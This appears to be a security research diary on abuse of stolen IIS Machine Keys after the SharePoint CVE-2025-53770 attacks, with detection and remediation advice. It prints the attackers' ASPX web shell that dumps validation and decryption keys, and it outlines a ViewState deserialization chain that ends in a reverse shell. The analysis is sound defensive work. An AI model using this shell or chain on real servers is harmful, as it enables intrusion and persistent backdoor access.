About 10 days ago exploits for Microsoft SharePoint (CVE-2025-53770, CVE-2025-53771) started being publicly abused – we wrote about that at here and here .
The original SharePoint vulnerability is a deserialization vulnerability that allowed an attacker to execute arbitrary commands – while these could be literally anything, majority of exploits that we analyzed resulted in attackers dropping an ASPX file that just revealed the IIS Machine Key to them. This prompted me into diving a bit deeper into how this can be abused.
What are IIS Machine Keys?
A Machine Key in IIS and ASP.NET is a configuration setting used to ensure the security and integrity of data exchanged between the server and clients.
Basically, it is responsible for validating and encrypting sensitive data such as VIEWSTATE, cookies, and session state, protecting them from tampering or unauthorized access. An IIS administrator can define specific Machine Key settings – there are many possible ways to configure all of this, but for this diary we will look into VIEWSTATE protection.
VIEWSTATE is a mechanism used in ASP.NET Web Forms to persist the state of controls and page data between postbacks (i.e., between user actions that send the page back to the server). It allows a developer to easily store values of various controls after a form has been submitted. VIEWSTATE is always used by an IIS APS.NET application.
Since VIEWSTATE can hold sensitive information, it should be appropriately protected. And this is where Machine Keys come into the game – they are used by IIS to prevent tampering of VIEWSTATE and (optionally) encrypt its contents.
By default, IIS (even the very latest version on Windows server 2025) will enable VIEWSTATE MAC (Message Authentication Code) validation but will leave encryption on “Auto” which means that it is not used, as shown in the figure below:
This is not too big of a problem, unless a developer decides to store something confidential in VIEWSTATE.
Machine Key, as you can probably guess by now, is used to perform validation – again, by default SHA1 is used. Several other algorithms are supported, with HMACSHA256 being the second most commonly used one.
Machine Key handling
Since Machine Key is used to validate VIEWSTATE integrity, it is obviously a very important security element. If an attacker gets Machine Key of a server, they can modify VIEWSTATE (and cookies) to arbitrary values and calculate proper MAC which could allow them to perform all sorts of abuse – even achieve remote code execution, as we will demonstrate later.
So, how does one handle this? The whole setup can get a bit complex depending under which account IIS is running, but in most common setups, one of the following two approaches is used:
Stealing a Machine Key
An attacker’s ultimate prize is to steal a Machine Key used by the target IIS server. So, how can they achieve that?
If the Machine Key is stored in a web.config file, in majority of cases it will be stored there in plain text! While it’s possible to encrypt the config section, this is very rarely done. In other words, an attacker that can fetch the web.config file can basically pwn the whole server!
This can be done, for example, through LFI (Local File Inclusion) or XXE (XML External Entities) vulnerabilities that allow the attacker to fetch contents of files.
If the Machine Key is automatically generated, it is stored in Registry, which means that the attacker needs code execution on the server to fetch this, but one important thing should be stressed here: there is nothing that can be done to prevent them from reading the Machine Key, provided they get code execution, even through ASPX files!
Back to our SharePoint story – once the original attackers exploited a vulnerable SharePoint server, they uploaded the following ASPX file:
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
What does this script do? It will try to read the web.config file and will display both validation and encryption keys, together with used mode. If a Machine Key was stored in web.config, it would be leaked to an attacker, as shown in the image below:
With Machine Key available, the attacker can now achieve RCE on the affected server, due to way deserialization of VIEWSTATE works (and this is a feature!) – more about that further below, but let’s see the other case, when Machine Key is automatically generated and not stored in web.config:
Oh! No luck for the attacker, this script was not able to fetch Machine Key. Phew, all good, we do not have to do anything … or do we? Remember that I wrote above that automatically generated Machine Keys are stored in Registry. Is there anything preventing the attacker to drop a bit better APSX file that can read Registry?
Unfortunately NOT, as Soroush Dalili wrote in their fantastic blog here - one can simply read the key, no matter where it is stored. Soroush published a small ASPX file that goes through all potential locations of a Machine Key.
Clearly SharePoint attackers either did not care about other locations (and were happy with web.config ones), or did not know about this, but if you use Soroush’s script, you can fetch Machine Key even when it’s automatically generated, as shown for the same application I am using as proof of concept below:
Bottom line here is the following: if anyone gets any code execution on an IIS server, you absolutely need to regenerate the server’s Machine Key. Windows will not do this automatically for you, and this key persists through reboots!
Remote Code Execution
So what can one do with Machine Key now?
While we can modify values in VIEWSTATE (it is a bit difficult to read it as it’s serialized, but not impossible, of course), one can also use Alvaro Munoz’s fantastic ysoserial.net, which has builtin support for generating VIEWSTATE objects.
Now that we have a valid Machine Key, ysoserial.net allows us to create an object which, upon deserialization on the server side, will execute code. Since MAC will be valid (and even encrypted, if needed), IIS will happily try to deserialize it with the LosFormatter class which will ultimately allow for Remote Code Execution through deserialization as there are known gadgets that can be used here.
There are two key points here:
To reiterate – once an attacker has a valid Machine Key they basically have a backdoor to the IIS server that they can use at any point in time, as long as the Machine Key has not been changed!
PoC || GTFO
Let’s demonstrate this. I have a very simple application that allows a user to input their name (and will use it in a diary in the future as well), that looks like this:
When the Submit button is clicked, the following request is sent:
Now, the IIS server that I have setup is using automatically generated Machine Keys, to make exploitation a bit more interesting (notice I didn’t say difficult). When using the script that Soroush posted, the following information can be again seen:
This leaves us with all information needed to exploit this server.
We will use ysoserial.net to do this, specifically with following options:
All we need to do now is go back and resend the request, but this time with our malicious VIEWSTATE object:
The response will be 500 Internal Server Error, but that’s what we want:
And we get our reverse shell happy dance:
Finally, the attacker can now use this malicious VIEWSTATE object on any page that belongs to this application, no matter what other parameters are sent as IIS will first try to deserialize the received VIEWSTATE object. And that’s their persistent backdoor.
Detection
IIS will at least log an event when Viewstate verification has failed. Failed here does not mean that MAC was incorrect (that is silently ignored), but when the verification process failed, which will happen when deserialization is exploited.
Full VIEWSTATE object is logged so that also allows for inspection on what has happened. If you do not already, make sure that you are monitoring Event Code 4009 in Windows Application code. Such an event will look as shown below:
INFIGO IS | An Allurity Group member